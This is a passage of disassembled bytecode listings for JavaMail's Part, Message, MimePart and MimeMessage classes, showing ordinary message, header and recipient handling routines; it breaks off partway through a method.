.method public abstract getContent()Object
.end method
.method public abstract getContentType()String
.end method
.method public abstract getDataHandler()DataHandler
.end method
.method public abstract getDescription()String
.end method
.method public abstract getDisposition()String
.end method
.method public abstract getFileName()String
.end method
.method public abstract getHeader(String)[String
.end method
.method public abstract getInputStream()InputStream
.end method
.method public abstract getLineCount()I
.end method
.method public abstract getMatchingHeaders([String)Enumeration
.end method
.method public abstract getNonMatchingHeaders([String)Enumeration
.end method
.method public abstract getSize()I
.end method
.method public abstract isMimeType(String)Z
.end method
.method public abstract removeHeader(String)V
.end method
.method public abstract setContent(Object, String)V
.end method
.method public abstract setContent(Multipart)V
.end method
.method public abstract setDataHandler(DataHandler)V
.end method
.method public abstract setDescription(String)V
.end method
.method public abstract setDisposition(String)V
.end method
.method public abstract setFileName(String)V
.end method
.method public abstract setHeader(String, String)V
.end method
.method public abstract setText(String)V
.end method
.method public abstract writeTo(OutputStream)V
.end method
#--------------------------------------------------------------------------------
.class public abstract Message
.super Object
.source ""
.implements Part
.field protected expunged:Z
.field protected folder:Folder
.field protected msgnum:I
.field protected session:Session
.method protected constructor <init>()V
.registers 3
00000000 const/4 v1, 0x0
00000002 const/4 v0, 0x0
00000004 invoke-direct Object-><init>()V, p0
0000000A iput v0, p0, Message->msgnum:I
0000000E iput-boolean v0, p0, Message->expunged:Z
00000012 iput-object v1, p0, Message->folder:Folder
00000016 iput-object v1, p0, Message->session:Session
0000001A return-void
.end method
.method protected constructor <init>(Folder, I)V
.registers 5
00000000 const/4 v1, 0x0
00000002 const/4 v0, 0x0
00000004 invoke-direct Object-><init>()V, p0
0000000A iput v0, p0, Message->msgnum:I
0000000E iput-boolean v0, p0, Message->expunged:Z
00000012 iput-object v1, p0, Message->folder:Folder
00000016 iput-object v1, p0, Message->session:Session
0000001A iput-object p1, p0, Message->folder:Folder
0000001E iput p2, p0, Message->msgnum:I
00000022 iget-object v0, p1, Folder->store:Store
00000026 iget-object v0, v0, Store->session:Session
0000002A iput-object v0, p0, Message->session:Session
0000002E return-void
.end method
.method protected constructor <init>(Session)V
.registers 4
00000000 const/4 v1, 0x0
00000002 const/4 v0, 0x0
00000004 invoke-direct Object-><init>()V, p0
0000000A iput v0, p0, Message->msgnum:I
0000000E iput-boolean v0, p0, Message->expunged:Z
00000012 iput-object v1, p0, Message->folder:Folder
00000016 iput-object v1, p0, Message->session:Session
0000001A iput-object p1, p0, Message->session:Session
0000001E return-void
.end method
.method public abstract addFrom([Address)V
.end method
.method public addRecipient(Message$RecipientType, Address)V
.registers 5
00000000 const/4 v0, 0x1
00000002 new-array v0, v0, [Address
00000006 const/4 v1, 0x0
00000008 aput-object p2, v0, v1
0000000C invoke-virtual Message->addRecipients(Message$RecipientType, [Address)V, p0, p1, v0
00000012 return-void
.end method
.method public abstract addRecipients(Message$RecipientType, [Address)V
.end method
.method public getAllRecipients()[Address
.registers 7
00000000 const/4 v1, 0x0
00000002 sget-object v0, Message$RecipientType->TO:Message$RecipientType
00000006 invoke-virtual Message->getRecipients(Message$RecipientType)[Address, p0, v0
0000000C move-result-object v2
0000000E sget-object v0, Message$RecipientType->CC:Message$RecipientType
00000012 invoke-virtual Message->getRecipients(Message$RecipientType)[Address, p0, v0
00000018 move-result-object v4
0000001A sget-object v0, Message$RecipientType->BCC:Message$RecipientType
0000001E invoke-virtual Message->getRecipients(Message$RecipientType)[Address, p0, v0
00000024 move-result-object v5
00000026 if-nez v4, :32
:2A
0000002A if-nez v5, :32
:2E
0000002E move-object v0, v2
:30
00000030 return-object v0
:32
00000032 if-eqz v2, :80
:36
00000036 array-length v0, v2
00000038 move v3, v0
:3A
0000003A if-eqz v4, :84
:3E
0000003E array-length v0, v4
:40
00000040 add-int/2addr v3, v0
00000042 if-eqz v5, :88
:46
00000046 array-length v0, v5
:48
00000048 add-int/2addr v0, v3
0000004A new-array v0, v0, [Address
0000004E if-eqz v2, :8C
:52
00000052 array-length v3, v2
00000054 invoke-static System->arraycopy(Object, I, Object, I, I)V, v2, v1, v0, v1, v3
0000005A array-length v2, v2
0000005C add-int/2addr v2, v1
:5E
0000005E if-eqz v4, :6E
:62
00000062 array-length v3, v4
00000064 invoke-static System->arraycopy(Object, I, Object, I, I)V, v4, v1, v0, v2, v3
0000006A array-length v3, v4
0000006C add-int/2addr v2, v3
:6E
0000006E if-eqz v5, :30
:72
00000072 array-length v3, v5
00000074 invoke-static System->arraycopy(Object, I, Object, I, I)V, v5, v1, v0, v2, v3
0000007A array-length v1, v5
0000007C add-int/2addr v1, v2
0000007E goto :30
:80
00000080 move v3, v1
00000082 goto :3A
:84
00000084 move v0, v1
00000086 goto :40
:88
00000088 move v0, v1
0000008A goto :48
:8C
0000008C move v2, v1
0000008E goto :5E
.end method
.method public abstract getFlags()Flags
.end method
.method public getFolder()Folder
.registers 2
00000000 iget-object v0, p0, Message->folder:Folder
00000004 return-object v0
.end method
.method public abstract getFrom()[Address
.end method
.method public getMessageNumber()I
.registers 2
00000000 iget v0, p0, Message->msgnum:I
00000004 return v0
.end method
.method public abstract getReceivedDate()Date
.end method
.method public abstract getRecipients(Message$RecipientType)[Address
.end method
.method public getReplyTo()[Address
.registers 2
00000000 invoke-virtual Message->getFrom()[Address, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public abstract getSentDate()Date
.end method
.method public abstract getSubject()String
.end method
.method public isExpunged()Z
.registers 2
00000000 iget-boolean v0, p0, Message->expunged:Z
00000004 return v0
.end method
.method public isSet(Flags$Flag)Z
.registers 3
00000000 invoke-virtual Message->getFlags()Flags, p0
00000006 move-result-object v0
00000008 invoke-virtual Flags->contains(Flags$Flag)Z, v0, p1
0000000E move-result v0
00000010 return v0
.end method
.method public match(SearchTerm)Z
.registers 3
00000000 invoke-virtual SearchTerm->match(Message)Z, p1, p0
00000006 move-result v0
00000008 return v0
.end method
.method public abstract reply(Z)Message
.end method
.method public abstract saveChanges()V
.end method
.method protected setExpunged(Z)V
.registers 2
00000000 iput-boolean p1, p0, Message->expunged:Z
00000004 return-void
.end method
.method public setFlag(Flags$Flag, Z)V
.registers 4
00000000 new-instance v0, Flags
00000004 invoke-direct Flags-><init>(Flags$Flag)V, v0, p1
0000000A invoke-virtual Message->setFlags(Flags, Z)V, p0, v0, p2
00000010 return-void
.end method
.method public abstract setFlags(Flags, Z)V
.end method
.method public abstract setFrom()V
.end method
.method public abstract setFrom(Address)V
.end method
.method protected setMessageNumber(I)V
.registers 2
00000000 iput p1, p0, Message->msgnum:I
00000004 return-void
.end method
.method public setRecipient(Message$RecipientType, Address)V
.registers 5
00000000 const/4 v0, 0x1
00000002 new-array v0, v0, [Address
00000006 const/4 v1, 0x0
00000008 aput-object p2, v0, v1
0000000C invoke-virtual Message->setRecipients(Message$RecipientType, [Address)V, p0, p1, v0
00000012 return-void
.end method
.method public abstract setRecipients(Message$RecipientType, [Address)V
.end method
.method public setReplyTo([Address)V
.registers 4
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "setReplyTo not supported"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public abstract setSentDate(Date)V
.end method
.method public abstract setSubject(String)V
.end method
#--------------------------------------------------------------------------------
.class public abstract interface MimePart
.super Object
.source ""
.implements Part
.method public abstract addHeaderLine(String)V
.end method
.method public abstract getAllHeaderLines()Enumeration
.end method
.method public abstract getContentID()String
.end method
.method public abstract getContentLanguage()[String
.end method
.method public abstract getContentMD5()String
.end method
.method public abstract getEncoding()String
.end method
.method public abstract getHeader(String, String)String
.end method
.method public abstract getMatchingHeaderLines([String)Enumeration
.end method
.method public abstract getNonMatchingHeaderLines([String)Enumeration
.end method
.method public abstract setContentLanguage([String)V
.end method
.method public abstract setContentMD5(String)V
.end method
.method public abstract setText(String)V
.end method
.method public abstract setText(String, String)V
.end method
.method public abstract setText(String, String, String)V
.end method
#--------------------------------------------------------------------------------
.class public MimeMessage
.super Message
.source ""
.implements MimePart
.field private static final answeredFlag:Flags
.field private static mailDateFormat:MailDateFormat
.field cachedContent:Object
.field protected content:[B
.field protected contentStream:InputStream
.field protected dh:DataHandler
.field protected flags:Flags
.field protected headers:InternetHeaders
.field protected modified:Z
.field protected saved:Z
.field private strict:Z
.method static constructor <clinit>()V
.registers 2
00000000 new-instance v0, MailDateFormat
00000004 invoke-direct MailDateFormat-><init>()V, v0
0000000A sput-object v0, MimeMessage->mailDateFormat:MailDateFormat
0000000E new-instance v0, Flags
00000012 sget-object v1, Flags$Flag->ANSWERED:Flags$Flag
00000016 invoke-direct Flags-><init>(Flags$Flag)V, v0, v1
0000001C sput-object v0, MimeMessage->answeredFlag:Flags
00000020 return-void
.end method
.method protected constructor <init>(Folder, I)V
.registers 5
00000000 const/4 v1, 0x1
00000002 const/4 v0, 0x0
00000004 invoke-direct Message-><init>(Folder, I)V, p0, p1, p2
0000000A iput-boolean v0, p0, MimeMessage->modified:Z
0000000E iput-boolean v0, p0, MimeMessage->saved:Z
00000012 iput-boolean v1, p0, MimeMessage->strict:Z
00000016 new-instance v0, Flags
0000001A invoke-direct Flags-><init>()V, v0
00000020 iput-object v0, p0, MimeMessage->flags:Flags
00000024 iput-boolean v1, p0, MimeMessage->saved:Z
00000028 invoke-direct MimeMessage->initStrict()V, p0
0000002E return-void
.end method
.method protected constructor <init>(Folder, InputStream, I)V
.registers 4
00000000 invoke-direct MimeMessage-><init>(Folder, I)V, p0, p1, p3
00000006 invoke-direct MimeMessage->initStrict()V, p0
0000000C invoke-virtual MimeMessage->parse(InputStream)V, p0, p2
00000012 return-void
.end method
.method protected constructor <init>(Folder, InternetHeaders, [B, I)V
.registers 5
00000000 invoke-direct MimeMessage-><init>(Folder, I)V, p0, p1, p4
00000006 iput-object p2, p0, MimeMessage->headers:InternetHeaders
0000000A iput-object p3, p0, MimeMessage->content:[B
0000000E invoke-direct MimeMessage->initStrict()V, p0
00000014 return-void
.end method
.method public constructor <init>(Session)V
.registers 4
00000000 const/4 v1, 0x1
00000002 const/4 v0, 0x0
00000004 invoke-direct Message-><init>(Session)V, p0, p1
0000000A iput-boolean v0, p0, MimeMessage->modified:Z
0000000E iput-boolean v0, p0, MimeMessage->saved:Z
00000012 iput-boolean v1, p0, MimeMessage->strict:Z
00000016 iput-boolean v1, p0, MimeMessage->modified:Z
0000001A new-instance v0, InternetHeaders
0000001E invoke-direct InternetHeaders-><init>()V, v0
00000024 iput-object v0, p0, MimeMessage->headers:InternetHeaders
00000028 new-instance v0, Flags
0000002C invoke-direct Flags-><init>()V, v0
00000032 iput-object v0, p0, MimeMessage->flags:Flags
00000036 invoke-direct MimeMessage->initStrict()V, p0
0000003C return-void
.end method
.method public constructor <init>(Session, InputStream)V
.registers 5
00000000 const/4 v1, 0x1
00000002 const/4 v0, 0x0
00000004 invoke-direct Message-><init>(Session)V, p0, p1
0000000A iput-boolean v0, p0, MimeMessage->modified:Z
0000000E iput-boolean v0, p0, MimeMessage->saved:Z
00000012 iput-boolean v1, p0, MimeMessage->strict:Z
00000016 new-instance v0, Flags
0000001A invoke-direct Flags-><init>()V, v0
00000020 iput-object v0, p0, MimeMessage->flags:Flags
00000024 invoke-direct MimeMessage->initStrict()V, p0
0000002A invoke-virtual MimeMessage->parse(InputStream)V, p0, p2
00000030 iput-boolean v1, p0, MimeMessage->saved:Z
00000034 return-void
.end method
.method public constructor <init>(MimeMessage)V
.registers 5
00000000 const/4 v2, 0x1
00000002 const/4 v1, 0x0
00000004 iget-object v0, p1, MimeMessage->session:Session
00000008 invoke-direct Message-><init>(Session)V, p0, v0
0000000E iput-boolean v1, p0, MimeMessage->modified:Z
00000012 iput-boolean v1, p0, MimeMessage->saved:Z
00000016 iput-boolean v2, p0, MimeMessage->strict:Z
0000001A invoke-virtual MimeMessage->getFlags()Flags, p1
00000020 move-result-object v0
00000022 iput-object v0, p0, MimeMessage->flags:Flags
00000026 invoke-virtual MimeMessage->getSize()I, p1
0000002C move-result v1
0000002E if-lez v1, :76
:32
00000032 new-instance v0, ByteArrayOutputStream
00000036 invoke-direct ByteArrayOutputStream-><init>(I)V, v0, v1
:3C
0000003C iget-boolean v1, p1, MimeMessage->strict:Z
00000040 iput-boolean v1, p0, MimeMessage->strict:Z
00000044 invoke-virtual MimeMessage->writeTo(OutputStream)V, p1, v0
0000004A invoke-virtual ByteArrayOutputStream->close()V, v0
00000050 new-instance v1, SharedByteArrayInputStream
00000054 invoke-virtual ByteArrayOutputStream->toByteArray()[B, v0
0000005A move-result-object v0
0000005C invoke-direct SharedByteArrayInputStream-><init>([B)V, v1, v0
00000062 invoke-virtual MimeMessage->parse(InputStream)V, p0, v1
00000068 invoke-virtual SharedByteArrayInputStream->close()V, v1
0000006E const/4 v0, 0x1
00000070 iput-boolean v0, p0, MimeMessage->saved:Z
:74
00000074 return-void
:76
00000076 new-instance v0, ByteArrayOutputStream
0000007A invoke-direct ByteArrayOutputStream-><init>()V, v0
00000080 goto :3C
:82
00000082 move-exception v0
00000084 new-instance v1, MessagingException
00000088 const-string v2, "IOException while copying message"
0000008C invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000092 throw v1
.catch IOException {:3C .. :74} :82
.end method
.method private addAddressHeader(String, [Address)V
.registers 4
00000000 invoke-static InternetAddress->toString([Address)String, p2
00000006 move-result-object v0
00000008 if-nez v0, :E
:C
0000000C return-void
:E
0000000E invoke-virtual MimeMessage->addHeader(String, String)V, p0, p1, v0
00000014 goto :C
.end method
.method private eliminateDuplicates(Vector, [Address)[Address
.registers 10
00000000 const/4 v5, 0x0
00000002 const/4 v2, 0x0
00000004 if-nez p2, :C
:8
00000008 move-object v0, v5
:A
0000000A return-object v0
:C
0000000C move v1, v2
0000000E move v3, v2
:10
00000010 array-length v0, p2
00000012 if-lt v1, v0, :4E
:16
00000016 if-eqz v3, :AE
:1A
0000001A instance-of v0, p2, [InternetAddress
0000001E if-eqz v0, :A4
:22
00000022 array-length v0, p2
00000024 sub-int/2addr v0, v3
00000026 new-array v0, v0, [InternetAddress
:2A
0000002A move v1, v2
:2C
0000002C array-length v3, p2
0000002E if-ge v1, v3, :A
:32
00000032 aget-object v3, p2, v1
00000036 if-eqz v3, :48
:3A
0000003A add-int/lit8 v3, v2, 0x1
0000003E aget-object v4, p2, v1
00000042 aput-object v4, v0, v2
00000046 move v2, v3
:48
00000048 add-int/lit8 v1, v1, 0x1
0000004C goto :2C
:4E
0000004E move v4, v2
:50
00000050 invoke-virtual Vector->size()I, p1
00000056 move-result v0
00000058 if-lt v4, v0, :74
:5C
0000005C move v0, v2
:5E
0000005E if-nez v0, :6C
:62
00000062 aget-object v0, p2, v1
00000066 invoke-virtual Vector->addElement(Object)V, p1, v0
:6C
0000006C add-int/lit8 v0, v1, 0x1
00000070 move v1, v0
00000072 goto :10
:74
00000074 invoke-virtual Vector->elementAt(I)Object, p1, v4
0000007A move-result-object v0
0000007C check-cast v0, InternetAddress
00000080 aget-object v6, p2, v1
00000084 invoke-virtual InternetAddress->equals(Object)Z, v0, v6
0000008A move-result v0
0000008C if-eqz v0, :9C
:90
00000090 const/4 v0, 0x1
00000092 add-int/lit8 v3, v3, 0x1
00000096 aput-object v5, p2, v1
0000009A goto :5E
:9C
0000009C add-int/lit8 v0, v4, 0x1
000000A0 move v4, v0
000000A2 goto :50
:A4
000000A4 array-length v0, p2
000000A6 sub-int/2addr v0, v3
000000A8 new-array v0, v0, [Address
000000AC goto :2A
:AE
000000AE move-object v0, p2
000000B0 goto :A
.end method
.method private getAddressHeader(String)[Address
.registers 4
00000000 const-string v0, ","
00000004 invoke-virtual MimeMessage->getHeader(String, String)String, p0, p1, v0
0000000A move-result-object v0
0000000C if-nez v0, :14
:10
00000010 const/4 v0, 0x0
:12
00000012 return-object v0
:14
00000014 iget-boolean v1, p0, MimeMessage->strict:Z
00000018 invoke-static InternetAddress->parseHeader(String, Z)[InternetAddress, v0, v1
0000001E move-result-object v0
00000020 goto :12
.end method
.method private getHeaderName(Message$RecipientType)String
.registers 4
00000000 sget-object v0, Message$RecipientType->TO:Message$RecipientType
00000004 if-ne p1, v0, :E
:8
00000008 const-string v0, "To"
:C
0000000C return-object v0
:E
0000000E sget-object v0, Message$RecipientType->CC:Message$RecipientType
00000012 if-ne p1, v0, :1C
:16
00000016 const-string v0, "Cc"
0000001A goto :C
:1C
0000001C sget-object v0, Message$RecipientType->BCC:Message$RecipientType
00000020 if-ne p1, v0, :2A
:24
00000024 const-string v0, "Bcc"
00000028 goto :C
:2A
0000002A sget-object v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
0000002E if-ne p1, v0, :38
:32
00000032 const-string v0, "Newsgroups"
00000036 goto :C
:38
00000038 new-instance v0, MessagingException
0000003C const-string v1, "Invalid Recipient Type"
00000040 invoke-direct MessagingException-><init>(String)V, v0, v1
00000046 throw v0
.end method
.method private initStrict()V
.registers 3
00000000 iget-object v0, p0, MimeMessage->session:Session
00000004 if-eqz v0, :32
:8
00000008 iget-object v0, p0, MimeMessage->session:Session
0000000C const-string v1, "mail.mime.address.strict"
00000010 invoke-virtual Session->getProperty(String)String, v0, v1
00000016 move-result-object v0
00000018 if-eqz v0, :34
:1C
0000001C const-string v1, "false"
00000020 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000026 move-result v0
00000028 if-eqz v0, :34
:2C
0000002C const/4 v0, 0x0
:2E
0000002E iput-boolean v0, p0, MimeMessage->strict:Z
:32
00000032 return-void
:34
00000034 const/4 v0, 0x1
00000036 goto :2E
.end method
.method private setAddressHeader(String, [Address)V
.registers 4
00000000 invoke-static InternetAddress->toString([Address)String, p2
00000006 move-result-object v0
00000008 if-nez v0, :14
:C
0000000C invoke-virtual MimeMessage->removeHeader(String)V, p0, p1
:12
00000012 return-void
:14
00000014 invoke-virtual MimeMessage->setHeader(String, String)V, p0, p1, v0
0000001A goto :12
.end method
.method public addFrom([Address)V
.registers 3
00000000 const-string v0, "From"
00000004 invoke-direct MimeMessage->addAddressHeader(String, [Address)V, p0, v0, p1
0000000A return-void
.end method
.method public addHeader(String, String)V
.registers 4
00000000 iget-object v0, p0, MimeMessage->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->addHeader(String, String)V, v0, p1, p2
0000000A return-void
.end method
.method public addHeaderLine(String)V
.registers 3
00000000 iget-object v0, p0, MimeMessage->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->addHeaderLine(String)V, v0, p1
0000000A return-void
.end method
.method public addRecipients(Message$RecipientType, String)V
.registers 5
00000000 sget-object v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
00000004 if-ne p1, v0, :24
:8
00000008 if-eqz p2, :22
:C
0000000C invoke-virtual String->length()I, p2
00000012 move-result v0
00000014 if-eqz v0, :22
:18
00000018 const-string v0, "Newsgroups"
0000001C invoke-virtual MimeMessage->addHeader(String, String)V, p0, v0, p2
:22
00000022 return-void
:24
00000024 invoke-direct MimeMessage->getHeaderName(Message$RecipientType)String, p0, p1
0000002A move-result-object v0
0000002C invoke-static InternetAddress->parse(String)[InternetAddress, p2
00000032 move-result-object v1
00000034 invoke-direct MimeMessage->addAddressHeader(String, [Address)V, p0, v0, v1
0000003A goto :22
.end method
.method public addRecipients(Message$RecipientType, [Address)V
.registers 5
00000000 sget-object v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
00000004 if-ne p1, v0, :20
:8
00000008 invoke-static NewsAddress->toString([Address)String, p2
0000000E move-result-object v0
00000010 if-eqz v0, :1E
:14
00000014 const-string v1, "Newsgroups"
00000018 invoke-virtual MimeMessage->addHeader(String, String)V, p0, v1, v0
:1E
0000001E return-void
:20
00000020 invoke-direct MimeMessage->getHeaderName(Message$RecipientType)String, p0, p1
00000026 move-result-object v0
00000028 invoke-direct MimeMessage->addAddressHeader(String, [Address)V, p0, v0, p2
0000002E goto :1E
.end method
.method protected createInternetHeaders(InputStream)InternetHeaders
.registers 3
00000000 new-instance v0, InternetHeaders
00000004 invoke-direct InternetHeaders-><init>(InputStream)V, v0, p1
0000000A return-object v0
.end method
.method protected createMimeMessage(Session)MimeMessage
.registers 3
00000000 new-instance v0, MimeMessage
00000004 invoke-direct MimeMessage-><init>(Session)V, v0, p1
0000000A return-object v0
.end method
.method public getAllHeaderLines()Enumeration
.registers 2
00000000 iget-object v0, p0, MimeMessage->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getAllHeaderLines()Enumeration, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getAllHeaders()Enumeration
.registers 2
00000000 iget-object v0, p0, MimeMessage->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getAllHeaders()Enumeration, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getAllRecipients()[Address
.registers 6
00000000 const/4 v4, 0x0
00000002 invoke-super Message->getAllRecipients()[Address, p0
00000008 move-result-object v0
0000000A sget-object v1, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
0000000E invoke-virtual MimeMessage->getRecipients(Message$RecipientType)[Address, p0, v1
00000014 move-result-object v1
00000016 if-nez v1, :1C
:1A
0000001A return-object v0
:1C
0000001C if-nez v0, :24
:20
00000020 move-object v0, v1
00000022 goto :1A
:24
00000024 array-length v2, v0
00000026 array-length v3, v1
00000028 add-int/2addr v2, v3
0000002A new-array v2, v2, [Address
0000002E array-length v3, v0
00000030 invoke-static System->arraycopy(Object, I, Object, I, I)V, v0, v4, v2, v4, v3
00000036 array-length v0, v0
00000038 array-length v3, v1
0000003A invoke-static System->arraycopy(Object, I, Object, I, I)V, v1, v4, v2, v0, v3
00000040 move-object v0, v2
00000042 goto :1A
.end method
.method public getContent()Object
.registers 4
00000000 iget-object v0, p0, MimeMessage->cachedContent:Object
00000004 if-eqz v0, :E
:8
00000008 iget-object v0, p0, MimeMessage->cachedContent:Object
:C
0000000C return-object v0
:E
0000000E invoke-virtual MimeMessage->getDataHandler()DataHandler, p0
00000014 move-result-object v0
00000016 invoke-virtual DataHandler->getContent()Object, v0
:1C
0000001C move-result-object v0
0000001E sget-boolean v1, MimeBodyPart->cacheMultipart:Z
00000022 if-eqz v1, :C
:26
00000026 instance-of v1, v0, Multipart
0000002A if-nez v1, :36
:2E
0000002E instance-of v1, v0, Message
00000032 if-eqz v1, :C
:36
00000036 iget-object v1, p0, MimeMessage->content:[B
0000003A if-nez v1, :46
:3E
0000003E iget-object v1, p0, MimeMessage->contentStream:InputStream
00000042 if-eqz v1, :C
:46
00000046 iput-object v0, p0, MimeMessage->cachedContent:Object
0000004A goto :C
:4C
0000004C move-exception v0
0000004E new-instance v1, FolderClosedException
00000052 invoke-virtual FolderClosedIOException->getFolder()Folder, v0
00000058 move-result-object v2
0000005A invoke-virtual FolderClosedIOException->getMessage()String, v0
00000060 move-result-object v0
00000062 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, v2, v0
00000068 throw v1
:6A
0000006A move-exception v0
0000006C new-instance v1, MessageRemovedException
00000070 invoke-virtual MessageRemovedIOException->getMessage()String, v0
00000076 move-result-object v0
00000078 invoke-direct MessageRemovedException-><init>(String)V, v1, v0
0000007E throw v1
.catch FolderClosedIOException {:E .. :1C} :4C
.catch MessageRemovedIOException {:E .. :1C} :6A
.end method
.method public getContentID()String
.registers 3
00000000 const-string v0, "Content-Id"
00000004 const/4 v1, 0x0
00000006 invoke-virtual MimeMessage->getHeader(String, String)String, p0, v0, v1
0000000C move-result-object v0
0000000E return-object v0
.end method
.method public getContentLanguage()[String
.registers 2
00000000 invoke-static MimeBodyPart->getContentLanguage(MimePart)[String, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public getContentMD5()String
.registers 3
00000000 const-string v0, "Content-MD5"
00000004 const/4 v1, 0x0
00000006 invoke-virtual MimeMessage->getHeader(String, String)String, p0, v0, v1
0000000C move-result-object v0
0000000E return-object v0
.end method
.method protected getContentStream()InputStream
.registers 6
00000000 iget-object v0, p0, MimeMessage->contentStream:InputStream
00000004 if-eqz v0, :22
:8
00000008 iget-object v0, p0, MimeMessage->contentStream:InputStream
0000000C check-cast v0, SharedInputStream
00000010 const-wide/16 v1, 0x0
00000014 const-wide/16 v3, 0xFFFFFFFFFFFFFFFF
00000018 invoke-interface SharedInputStream->newStream(J, J)InputStream, v0, v1, v2, v3, v4
0000001E move-result-object v0
:20
00000020 return-object v0
:22
00000022 iget-object v0, p0, MimeMessage->content:[B
00000026 if-eqz v0, :3A
:2A
0000002A new-instance v0, SharedByteArrayInputStream
0000002E iget-object v1, p0, MimeMessage->content:[B
00000032 invoke-direct SharedByteArrayInputStream-><init>([B)V, v0, v1
00000038 goto :20
:3A
0000003A new-instance v0, MessagingException
0000003E const-string v1, "No content"
00000042 invoke-direct MessagingException-><init>(String)V, v0, v1
00000048 throw v0
.end method
.method public getContentType()String
.registers 3
00000000 const-string v0, "Content-Type"
00000004 const/4 v1, 0x0
00000006 invoke-virtual MimeMessage->getHeader(String, String)String, p0, v0, v1
0000000C move-result-object v0
0000000E if-nez v0, :16
:12
00000012 const-string v0, "text/plain"
:16
00000016 return-object v0
.end method
.method public declared-synchronized getDataHandler()DataHandler
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, MimeMessage->dh:DataHandler
00000006 if-nez v0, :22
:A
0000000A new-instance v0, DataHandler
0000000E new-instance v1, MimePartDataSource
00000012 invoke-direct MimePartDataSource-><init>(MimePart)V, v1, p0
00000018 invoke-direct DataHandler-><init>(DataSource)V, v0, v1
0000001E iput-object v0, p0, MimeMessage->dh:DataHandler
:22
00000022 iget-object v0, p0, MimeMessage->dh:DataHandler
:26
00000026 monitor-exit p0
00000028 return-object v0
:2A
0000002A move-exception v0
0000002C monitor-exit p0
0000002E throw v0
.catchall {:2 .. :26} :2A
.end method
.method public getDescription()String
.registers 2
00000000 invoke-static MimeBodyPart->getDescription(MimePart)String, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public getDisposition()String
.registers 2
00000000 invoke-static MimeBodyPart->getDisposition(MimePart)String, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public getEncoding()String
.registers 2
00000000 invoke-static MimeBodyPart->getEncoding(MimePart)String, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public getFileName()String
.registers 2
00000000 invoke-static MimeBodyPart->getFileName(MimePart)String, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public declared-synchronized getFlags()Flags
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, MimeMessage->flags:Flags
00000006 invoke-virtual Flags->clone()Object, v0
0000000C move-result-object v0
0000000E check-cast v0, Flags
:12
00000012 monitor-exit p0
00000014 return-object v0
:16
00000016 move-exception v0
00000018 monitor-exit p0
0000001A throw v0
.catchall {:2 .. :12} :16
.end method
.method public getFrom()[Address
.registers 2
00000000 const-string v0, "From"
00000004 invoke-direct MimeMessage->getAddressHeader(String)[Address, p0, v0
0000000A move-result-object v0
0000000C if-nez v0, :1C
:10
00000010 const-string v0, "Sender"
00000014 invoke-direct MimeMessage->getAddressHeader(String)[Address, p0, v0
0000001A move-result-object v0
:1C
0000001C return-object v0
.end method
.method public getHeader(String, String)String
.registers 4
00000000 iget-object v0, p0, MimeMessage->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getHeader(String, String)String, v0, p1, p2
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getHeader(String)[String
.registers 3
00000000 iget-object v0, p0, MimeMessage->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getHeader(String)[String, v0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getInputStream()InputStream
.registers 2
00000000 invoke-virtual MimeMessage->getDataHandler()DataHandler, p0
00000006 move-result-object v0
00000008 invoke-virtual DataHandler->getInputStream()InputStream, v0
0000000E move-result-object v0
00000010 return-object v0
.end method
.method public getLineCount()I
.registers 2
00000000 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000002 return v0
.end method
.method public getMatchingHeaderLines([String)Enumeration
.registers 3
00000000 iget-object v0, p0, MimeMessage->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getMatchingHeaderLines([String)Enumeration, v0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getMatchingHeaders([String)Enumeration
.registers 3
00000000 iget-object v0, p0, MimeMessage->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getMatchingHeaders([String)Enumeration, v0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getMessageID()String
.registers 3
00000000 const-string v0, "Message-ID"
00000004 const/4 v1, 0x0
00000006 invoke-virtual MimeMessage->getHeader(String, String)String, p0, v0, v1
0000000C move-result-object v0
0000000E return-object v0
.end method
.method public getNonMatchingHeaderLines([String)Enumeration
.registers 3
00000000 iget-object v0, p0, MimeMessage->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getNonMatchingHeaderLines([String)Enumeration, v0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getNonMatchingHeaders([String)Enumeration
.registers 3
00000000 iget-object v0, p0, MimeMessage->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->getNonMatchingHeaders([String)Enumeration, v0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getRawInputStream()InputStream
.registers 2
00000000 invoke-virtual MimeMessage->getContentStream()InputStream, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public getReceivedDate()Date
.registers 2
00000000 const/4 v0, 0x0
00000002 return-object v0
.end method
.method public getRecipients(Message$RecipientType)[Address
.registers 4
00000000 sget-object v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
00000004 if-ne p1, v0, :2A
:8
